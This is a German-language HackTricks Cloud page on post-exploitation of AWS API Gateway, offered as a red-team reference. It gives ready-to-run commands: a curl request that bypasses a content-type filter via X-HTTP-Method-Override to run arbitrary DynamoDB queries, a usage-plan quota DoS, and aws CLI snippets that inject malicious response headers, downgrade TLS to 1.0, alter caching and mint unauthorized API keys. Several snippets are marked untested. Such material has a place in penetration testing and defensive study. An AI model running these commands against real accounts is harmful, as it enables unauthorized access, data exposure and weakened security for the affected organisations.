AWS - API Gateway Post Exploitation
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
API Gateway
Für weitere Informationen siehe:
Zugriff auf nicht-exponierte APIs
Du kannst einen Endpoint unter https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint mit dem Service com.amazonaws.us-east-1.execute-api erstellen, den Endpoint in einem Netzwerk freigeben, auf das du Zugriff hast (z. B. über eine EC2-Maschine) und eine Security Group zuweisen, die alle Verbindungen erlaubt.
Dann kannst du von der EC2-Maschine aus auf den Endpoint zugreifen und somit die Gateway API aufrufen, die zuvor nicht exponiert war.
Request-Body-Passthrough umgehen
This technique was found in this CTF writeup.
Wie in der AWS documentation im Abschnitt PassthroughBehavior angegeben, leitet der Standardwert WHEN_NO_MATCH beim Prüfen des Content-Type-Headers die Anfrage unverändert an das Backend weiter.
Deshalb enthielt das API Gateway im CTF ein Integration-Template, das preventing the flag from being exfiltrated in einer Antwort verhinderte, wenn eine Anfrage mit Content-Type: application/json gesendet wurde:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
Allerdings würde das Senden einer Anfrage mit Content-type: text/json diesen Filter umgehen.
Schließlich, da das API Gateway nur Get und Options erlaubte, war es möglich, eine beliebige dynamoDB-Abfrage ohne Einschränkung zu senden, indem man eine POST-Anfrage mit der Abfrage im Body schickte und den Header X-HTTP-Method-Override: GET verwendete:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Usage Plans DoS
Im Enumeration-Abschnitt sehen Sie, wie Sie den usage plan der Keys erhalten. Wenn Sie den Key besitzen und er auf X Nutzungen pro Monat limitiert ist, könnten Sie ihn einfach verwenden und dadurch einen DoS verursachen.
Der API Key muss lediglich in einem HTTP-Header namens x-api-key enthalten sein.
apigateway:UpdateGatewayResponse, apigateway:CreateDeployment
Ein Angreifer mit den Berechtigungen apigateway:UpdateGatewayResponse und apigateway:CreateDeployment kann eine vorhandene Gateway Response ändern, um benutzerdefinierte Header oder response templates hinzuzufügen, die sensible Informationen leak oder die Ausführung bösartiger Skripte ermöglichen.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Mögliche Auswirkungen: Offenlegung sensibler Informationen, Ausführung bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.
note
Erfordert Tests
apigateway:UpdateStage, apigateway:CreateDeployment
Ein Angreifer mit den Berechtigungen apigateway:UpdateStage und apigateway:CreateDeployment kann eine bestehende API Gateway-Stage ändern, um den Traffic auf eine andere Stage umzuleiten oder die Caching-Einstellungen zu verändern, um unbefugten Zugriff auf zwischengespeicherte Daten zu erlangen.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potentielle Auswirkungen: Unbefugter Zugriff auf zwischengespeicherte Daten, Störung oder Abfangen von API-Verkehr.
note
Test erforderlich
apigateway:PutMethodResponse, apigateway:CreateDeployment
Ein Angreifer mit den Berechtigungen apigateway:PutMethodResponse und apigateway:CreateDeployment kann die Methodenantwort einer vorhandenen API Gateway REST API-Methode ändern, um benutzerdefinierte Header oder Antwortvorlagen einzufügen, die zu einem leak sensibler Informationen führen oder bösartige Skripte ausführen.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potentielle Auswirkungen: Offenlegung sensibler Informationen, Ausführen bösartiger Skripte oder unautorisierter Zugriff auf API-Ressourcen.
note
Muss getestet werden
apigateway:UpdateRestApi, apigateway:CreateDeployment
Ein Angreifer mit den Berechtigungen apigateway:UpdateRestApi und apigateway:CreateDeployment kann die Einstellungen der API Gateway REST API ändern, um Logging zu deaktivieren oder die minimale TLS-Version zu ändern, und damit potenziell die Sicherheit der API schwächen.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potenzielle Auswirkungen: Schwächung der Sicherheit der API, was möglicherweise unbefugten Zugriff ermöglicht oder sensible Informationen offenlegt.
note
Weitere Tests erforderlich
apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey
Ein Angreifer mit den Berechtigungen apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan und apigateway:CreateUsagePlanKey kann neue API-Schlüssel erstellen, diese mit usage plans verknüpfen und die Schlüssel dann für unbefugten Zugriff auf APIs verwenden.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Mögliche Auswirkungen: Unbefugter Zugriff auf API-Ressourcen, Umgehung von Sicherheitskontrollen.
note
Tests erforderlich
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud